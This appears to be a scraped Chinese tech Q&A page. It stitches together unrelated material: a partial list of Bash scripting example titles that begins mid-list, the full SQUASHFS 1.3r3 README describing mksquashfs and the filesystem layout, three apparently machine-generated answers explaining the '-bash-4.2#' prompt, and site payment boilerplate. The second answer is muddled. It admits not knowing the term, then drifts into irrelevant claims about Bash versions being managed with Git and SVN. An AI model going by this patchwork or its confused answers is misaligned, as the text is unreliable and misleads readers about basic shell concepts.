带有抑制tab功能的多行消息 17-5. 使用参数替换的here document 17-6. 上传一个文件对到"Sunsite"的incoming目录 17-7. 关闭参数替换 17-8. 一个产生另外一个脚本的脚本 17-9. Here documents与函数 17-10. "匿名" here Document 17-11. 注释掉一段代码块 17-12. 一个自文档化(self-documenting)的脚本 17-13. 在一个文件的开头添加文本 20-1. 子shell中的变量作用域 20-2. 列出用户的配置文件 20-3. 在子shell里进行串行处理 21-1. 在受限的情况下运行脚本 23-1. 简单函数 23-2. 带着参数的函数 23-3. 函数和被传给脚本的命令行参数 23-4. 传递间接引用给函数 23-5. 解除传递给函数的参数引用 23-6. 再次尝试解除传递给函数的参数引用 23-7. 两个数中的最大者 23-8. 把数字转化成罗马数字 23-9. 测试函数最大的返回值 23-10. 比较两个大整数 23-11. 用户名的真实名 23-12. 局部变量的可见范围 23-13. 用局部变量来递归 23-14. 汉诺塔 24-1. 脚本中的别名 24-2. unalias: 设置和删除别名 25-1. 使用"与列表(and list)"来测试命令行参数 25-2. 用"与列表"的另一个命令行参数测试 25-3. "或列表"和"与列表"的结合使用 26-1. 简单的数组用法 26-2. 格式化一首诗 26-3. 多种数组操作 26-4. 用于数组的字符串操作符 26-5. 将脚本的内容传给数组 26-6. 一些数组专用的工具 26-7. 关于空数组和空数组元素 26-8. 初始化数组 26-9. 复制和连接数组 26-10. 关于连接数组的更多信息 26-11. 一位老朋友: 冒泡排序 26-12. 内嵌数组和间接引用 26-13. 复杂数组应用: 埃拉托色尼素数筛子 26-14. 模拟下推的堆栈 26-15. 复杂的数组应用: 列出一种怪异的数学序列 26-16. 模拟二维数组,并使它倾斜 27-1. 利用/dev/tcp 来检修故障 27-2. 搜索与一个PID相关的进程 27-3. 网络连接状态 28-1. 隐藏cookie而不再使用 28-2. 用/dev/zero创建一个交换临时文件 28-3. 创建ramdisk 29-1. 一个错误的脚本 29-2. 丢失关键字(keyword) 29-3. 另一个错误脚本 29-4. 用"assert"测试条件 29-5. 捕捉 exit 29-6. 在Control-C后清除垃圾 29-7. 跟踪变量 29-8. 运行多进程 (在多处理器的机器里) 31-1. 数字和字符串比较是不相等同的 31-2. 子SHELL缺陷 31-3. 把echo的输出用管道输送给read命令 33-1. shell 包装 33-2. 稍微复杂一些的shell包装 33-3. 写到日志文件的shell包装 33-4. 包装awk的脚本 33-5. 另一个包装awk的脚本 33-6. 把Perl嵌入Bash脚本 33-7. Bash 和 Perl 脚本联合使用 33-8. 递归调用自己本身的(无用)脚本 33-9. 递归调用自己本身的(有用)脚本 33-10. 另一个递归调用自己本身的(有用)脚本 33-11. 一个 "彩色的" 地址资料库 33-12. 画盒子 33-13. 显示彩色文本 33-14. "赛马" 游戏 33-15. 返回值技巧 33-16. 整型还是string? 33-17. 传递和返回数组 33-18. anagrams游戏 33-19. 在shell脚本中调用的窗口部件 34-1. 字符串扩展 34-2. 间接变量引用 - 新方法 34-3. 使用间接变量引用的简单数据库应用 34-4. 用数组和其他的小技巧来处理四人随机打牌 A-1. mailformat: Formatting an e-mail message A-2. rn: A simple-minded file rename utility A-3. blank-rename: renames filenames containing blanks A-4. encryptedpw: Uploading to an ftp site, using a locally encrypted password A-5. copy-cd: Copying a data CD A-6. Collatz series A-7. days-between: Calculate number of days between two dates A-8. Make a "dictionary" A-9. Soundex conversion A-10. "Game of Life" A-11. Data file for "Game of Life" A-12. behead: Removing mail and news message headers A-13. ftpget: Downloading files via ftp A-14. password: Generating random 8-character passwords A-15. fifo: Making daily backups, using named pipes A-16. Generating prime numbers using the modulo operator A-17. tree: Displaying a directory tree A-18. string functions: C-like string functions A-19. Directory information A-20. Object-oriented database A-21. Library of hash functions A-22. Colorizing text using hash functions A-23. Mounting USB keychain storage devices A-24. Preserving weblogs A-25. Protecting literal strings A-26. Unprotecting literal strings A-27. Spammer Identification A-28. Spammer Hunt A-29. Making wget easier to use A-30. A "podcasting" script A-31. Basics Reviewed A-32. An expanded cd command C-1. Counting Letter Occurrences K-1. Sample .bashrc file L-1. VIEWDATA.BAT: DOS Batch File L-2. viewdata.sh: Shell Script Conversion of VIEWDATA.BAT P-1. Print the server environment
SQUASHFS 1.3r3 - A squashed read-only filesystem for Linux Copyright 2004 Phillip Lougher ([email protected]) Released under the GPL licence (version 2 or later). Squashfs is currently at version 1.3 release 3. Please see the CHANGES file for recent changes to squashfs. Squashfs is a highly compressed read-only filesystem for Linux. It uses zlib compression to compress both files, inodes and directories. Inodes in the system are very small and all blocks are packed to minimise data overhead. Block sizes greater than 4K are supported up to a maximum of 32K. Squashfs is intended for general read-only filesystem use, for archival use (i.e. in cases where a .tar.gz file may be used), and in constrained block device/memory systems (e.g. embedded systems) where low overhead is needed. The section 'mksquashfs' gives information on using the mksquashfs tool to create and append to squashfs filesystems. The 'using squashfs' section gives information on mounting and using squashfs filesystems stored on block devices and as normal files using the loopback device. 1. Squashfs overview -------------------- 1. Data, inodes and directories are compressed. 2. Squashfs stores full uid/gids (32 bits), and file creation time. 3. Files up to 2^32 bytes are supported. Filesystems can be up to 2^32 bytes. 4. Inode and directory data are highly compacted, and packed on byte boundaries. Each compressed inode is on average 8 bytes in length (the exact length varies on file type, i.e. regular file, directory, symbolic link, and block/char device inodes have different sizes). 5. Squashfs can use block sizes up to 32K (the default size is 32K). Using 32K blocks achieves greater compression ratios than the normal 4K block size. 6. File duplicates are detected and removed. 7. Both big and little endian architectures are supported. Squashfs can mount filesystems created on different byte order machines. 2. mksquashfs ------------- As squashfs is a read-only filesystem, the mksquashfs program must be used to create populated squashfs filesystems. Beginning with Squashfs 1.2, mksquashfs will also append directories and files to pre-existing squashfs filesystems, see the following 'appending to squashfs filesystems' subsection. SYNTAX:mksquashfs source1 source2 ... dest [options] [-e list of exclude dirs/files] Options are -info print files written to filesystem -b block size size of blocks in filesystem, default 32768 -noappend Do not append to existing filesystem on dest, write a new filesystem This is the default action if dest does not exist, or if no filesystem is on it -keep-as-directory If one source directory is specified, create a root directory containing that directory, rather than the contents of the directory -root-becomes name When appending source files/directories, make the original root become a subdirectory in the new root called name, rather than adding the new source items to the original root -noI -noInodeCompression do not compress inode table -noD -noDataCompression do not compress data blocks -nopad do not pad filesystem to a multiple of 4K -check_data add checkdata for greater filesystem checks -le create a little endian filesystem -be create a big endian filesystem -ef exclude file file is a list of exclude dirs/files - one per line -version print version, licence and copyright message Source1 source2 ... are the source directories/files containing the files/directories that will form the squashfs filesystem. If a single directory is specified (i.e. mksquashfs source output_fs) the squashfs filesystem will consist of that directory, with the top-level root directory corresponding to the source directory. If multiple source directories or files are specified, mksquashfs will merge the specified sources into a single filesystem, with the root directory containing each of the source files/directories. The name of each directory entry will be the basename of the source path. If more than one source entry maps to the same name, the conflicts are named xxx_1, xxx_2, etc. where xxx is the original name. To make this clear, take two example directories. Source directory "/home/phillip/test" contains "file1", "file2" and "dir1". Source directory "goodies" contains "goodies1", "goodies2" and "goodies3". usage example 1: %mksquashfs /home/phillip/test output_fs This will generate a squashfs filesystem with root entries "file1", "file2" and "dir1". example 2: %mksquashfs /home/phillip/test goodies output_fs This will create a squashfs filesystem with the root containing entries "test" and "goodies" corresponding to the source directories "/home/phillip/test" and "goodies". example 3: %mksquashfs /home/phillip/test goodies test output_fs This is the same as the previous example, except a third source directory "test" has been specified. This conflicts with the first directory named "test" and will be renamed "test_1". Multiple sources allow filesystems to be generated without needing to copy all source files into a common directory. This simplifies creating filesystems. The -keep-as-directory option can be used when only one source directory is specified, and you wish the root to contain that directory, rather than the contents of the directory. For example: example 4: %mksquashfs /home/phillip/test output_fs -keep-as-directory This is the same as example 1, except for -keep-as-directory. This will generate a root directory containing directory "test", rather than the "test" directory contents "file1", "file2" and "dir1". The Dest argument is the destination where the squashfs filesystem will be written. This can either be a conventional file or a block device. If the file doesn't exist it will be created, if it does exist and a squashfs filesystem exists on it, mksquashfs will append. The -noappend option will write a new filesystem irrespective of whether an existing filesystem is present. The -e and -ef options allow files/directories to be specified which are excluded from the output filesystem. The -e option takes the exclude files/directories from the command line, the -ef option takes the exlude files/directories from the specified exclude file, one file/directory per line. If an exclude file/directory is absolute (i.e. prefixed with /, ../, or ./) the entry is treated as absolute, however, if an exclude file/directory is relative, it is treated as being relative to each of the sources in turn, i.e. %mksquashfs /tmp/source1 source2 output_fs -e ex1 /tmp/source1/ex2 out/ex3 Will generate exclude files /tmp/source1/ex2, /tmp/source1/ex1, source2/ex1, /tmp/source1/out/ex3 and source2/out/ex3. The -e and -ef exclude options are usefully used in archiving the entire filesystem, where it is wished to avoid archiving /proc, and the filesystem being generated, i.e. %mksquashfs / /tmp/root.sqsh -e proc /tmp/root.sqsh Multiple -ef options can be specified on the command line, and the -ef option can be used in conjuction with the -e option. The -info option displays the files/directories as they are compressed and added to the filesystem. The compression percentage achieved is printed, with the original uncompressed size. If the compression percentage is listed as 0% it means the file is a duplicate. The -b option allows the block size to be selected, this can be either 512, 1024, 2048, 4096, 8192, 16384, or 32768 bytes. The -noI and -noD options (also -noInodeCompression and -noDataCompression) can be used to force mksquashfs to not compress inodes/directories and data respectively. Giving both options generates an uncompressed filesystem. The -le and -be options can be used to force mksquashfs to generate a little endian or big endian filesystem. Normally mksquashfs will generate a filesystem in the host byte order. Squashfs, for portability, will mount different ordered filesystems (i.e. it can mount big endian filesystems running on a little endian machine), but these options can be used for greater optimisation. The -nopad option informs mksquashfs to not pad the filesystem to a 4K multiple. This is performed by default to enable the output filesystem file to be mounted by loopback, which requires files to be a 4K multiple. If the filesystem is being written to a block device, or is to be stored in a bootimage, the extra pad bytes are not needed. 2.1 appending to squashfs filesystems ------------------------------------- Beginning with squashfs1.2, mksquashfs can append to existing squashfs filesystems. Three extra options "-noappend", "-keep-as-directory", and "root-becomes" have been added. Running squashfs with the destination directory containing an existing filesystem, will add the source items to the existing filesystem. By default, the source items are added to the existing root directory. To make this clear... An existing filesystem "image" contains root entries "old1", and "old2". Source directory "/home/phillip/test" contains "file1", "file2" and "dir1". example 1: %mksquashfs /home/phillip/test image Will create a new "image" with root entries "old1", "old2", "file1", "file2" and "dir1" example 2: %mksquashfs /home/phillip/test image -keep-as-directory Will create a new "image" with root entries "old1", "old2", and "test". As shown in the previous section, for single source directories '-keep-as-directory' adds the source directory rather than the contents of the directory. example 3: %mksquashfs /home/phillip/test image -keep-as-directory -root-becomes original-root Will create a new "image" with root entries "original-root", and "test". The '-root-becomes' option specifies that the original root becomes a subdirectory in the new root, with the specified name. The append option with file duplicate detection, means squashfs can be used as a simple versioning archiving filesystem. A squashfs filesystem can be created with for example the linux-2.4.19 source. Appending the linux-2.4.20 source will create a filesystem with the two source trees, but only the changed files will take extra room, the unchanged files will be detected as duplicates. 3. Using squashfs ----------------- Squashfs filesystems should be mounted with 'mount' with the filesystem type 'squashfs'. If the filesystem is on a block device, the filesystem can be mounted directly, e.g. %mount -t squashfs /dev/sda1 /mnt Will mount the squashfs filesystem on "/dev/sda1" under the directory "/mnt". If the squashfs filesystem has been written to a file, the loopback device can be used to mount it (loopback support must be in the kernel), e.g. %mount -t squashfs image /mnt -o loop Will mount the squashfs filesystem in the file "image" under the directory "/mnt". 4. Filesystem layout -------------------- Brief filesystem design notes follow. A squashfs filesystem consists of five parts, packed together on a byte alignment: --------------- | superblock | |---------------| | data | | blocks | |---------------| | inodes | |---------------| | directories | |---------------| | uid/gid | | lookup table | --------------- Compressed data blocks are written to the filesystem as files are read from the source directory, and checked for duplicates. Once all file data has been written the completed inode, directory and uid/gid lookup tables are written. 4.1 Metadata ------------ Metadata (inodes and directories) are compressed in 8Kbyte blocks. Each compressed block is prefixed by a two byte length, the top bit is set if the block is uncompressed. A block will be uncompressed if the -noI option is set, or if the compressed block was larger than the uncompressed block. Inodes are packed into the metadata blocks, and are not aligned to block boundaries, therefore inodes overlap compressed blocks. An inode is identified by a two field tuple <start address of compressed block : offset into de-compressed block>. Inode contents vary depending on the file type. The base inode consists of: base inode: Inode type Mode uid index gid index The inode type is 4 bits in size, and the mode is 12 bits. The uid and gid indexes are 4 bits in length. Ordinarily, this will allow 16 unique indexes into the uid table. To minimise overhead, the uid index is used in conjunction with the spare bit in the file type to form a 48 entry index as follows: inode type 1 - 5: uid index = uid inode type 5 -10: uid index = 16 + uid inode type 11 - 15: uid index = 32 + uid In this way 48 unique uids are supported using 4 bits, minimising data inode overhead. The 4 bit gid index is used to index into a 15 entry gid table. Gid index 15 is used to indicate that the gid is the same as the uid. This prevents the 15 entry gid table filling up with the common case where the uid/gid is the same. The data contents of symbolic links are stored immediately after the symbolic link inode, inside the inode table. This allows the normally small symbolic link to be compressed as part of the inode table, achieving much greater compression than if the symbolic link was compressed individually. Similarly, the block index for regular files is stored immediately after the regular file inode. The block index is a list of block lengths (two bytes each), rather than block addresses, saving two bytes per block. The block address for a given block is computed by the summation of the previous block lengths. This takes advantage of the fact that the blocks making up a file are stored contiguously in the filesystem. The top bit of each block length is set if the block is uncompressed, either because the -noD option is set, or if the compressed block was larger than the uncompressed block. 4.2 Directories --------------- Like inodes, directories are packed into the metadata blocks, and are not aligned on block boundaries, therefore directories can overlap compressed blocks. A directory is, again, identified by a two field tuple <start address of compressed block containing directory start : offset into de-compressed block>. Directories are organised in a slightly complex way, and are not simply a list of file names and inode tuples. The organisation takes advantage of the observation that in most cases, the inodes of the files in the directory will be in the same compressed metadata block, and therefore, the inode tuples will have the same start block. Directories are therefore organised in a two level list, a directory header containing the shared start block value, and a sequence of directory entries, each of which share the shared start block. A new directory header is written once/if the inode start block changes. The directory header/directory entry list is repeated as many times as necessary. The organisation is as follows: directory_header: count (8 bits) inode start block (24 bits) directory entry: * count inode offset (13 bits) inode type (3 bits) filename size (8 bits) filename This organisation saves on average 3 bytes per filename. 4.3 File data ------------- File data is compressed on a block by block basis and written to the filesystem. The filesystem supports up to 32K blocks, which achieves greater compression ratios than the Linux 4K page size. The disadvantage with using greater than 4K blocks (and the reason why most filesystems do not), is that the VFS reads data in 4K pages. The filesystem reads and decompresses a larger block containing that page (e.g. 32K). However, only 4K can be returned to the VFS, resulting in a very inefficient filesystem, as 28K must be thrown away. Squashfs, solves this problem by explicitly pushing the extra pages into the page cache. 5. Author info -------------- Squashfs was written by Phillip Lougher, email [email protected], in Chepstow, Wales, UK. If you like the program, or have any problems, then please email me, as it's nice to get feedback!
### 回答1: 这是一个类Unix操作系统的命令行提示符,一般用于终端或控制台界面。"-bash-4.2#"是该提示符的标识符,其中"bash"代表使用Bash shell,"4.2"是Bash的版本号。提示符通常会在每行命令的前面显示,等待用户输入命令。 ### 回答2: 作为一名语言模型,我对 -bash-4.2 这个概念不是很清楚,但我可以向您介绍一下 Bash 和它的版本控制。 Bash(Bourne-Again SHell)是一种常用的 Unix shell,它是命令行界面下的一种解释器,也是许多 Linux 系统默认的 shell。Bash 支持命令行编辑、命令历史记录、别名、函数、变量等特性,可以在 shell 中执行多种命令。而 -bash-4.2 则指的是 Bash 的版本号,表示当前 Bash 的版本是 4.2Bash 的版本以及相关的修补程序都得到了版本控制。这个过程可以利用 Bash 命令行界面下的一些工具来实现,比如 Git 和 SVN。 版本控制的主要目的是保存历史记录并追踪更改。在 Bash 中,版本控制可以帮助开发者进行版本的管理,使得开发变得更加方便和有序。版本控制还可以让多个人同时进行开发,并且避免冲突和重复的工作。 总之,-bash-4.2Bash 的一个版本号,而版本控制则是一种软件开发的管理方法,帮助开发者更好地管理程序的发展历史以及使得多人合作开发更加便捷。 ### 回答3: 我们常见到的"-bash-4.2"实际上是操作系统中的一个命令行提示符。它通常会显示在每一行命令行的开头,用于告诉我们当前的操作系统环境以及我们可以使用的操作命令。 具体来说,"-bash-4.2"中的"bash"是指Bourne-Again SHell的缩写,它是一种常用的Unix/Linux操作系统中的命令解释器(Shell),可以通过在命令行中输入指令来与计算机进行交互。而"-4.2"则表示当前使用的是Bash的第4.2个版本。 在使用命令行工具时,"-bash-4.2"的出现表明我们可以输入各种各样的操作命令,例如ls、cd、touch等,以及许多其他的实用命令。我们可以使用这些命令来管理文件和目录,执行各种系统配置和管理操作,以及进行各种与计算机相关的任务。 除此之外,我们也可以对命令行提示符进行自定义,例如改变提示符内容、颜色和显示方式等,以便更好地适应我们的使用习惯和工作需要。 在总结一下,"-bash-4.2"是操作系统中的一个命令行提示符,表示当前使用的是Bash命令解释器的第4.2个版本,它可以指示我们可以使用哪些命令进行操作,帮助我们更好地管理和控制计算机系统。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值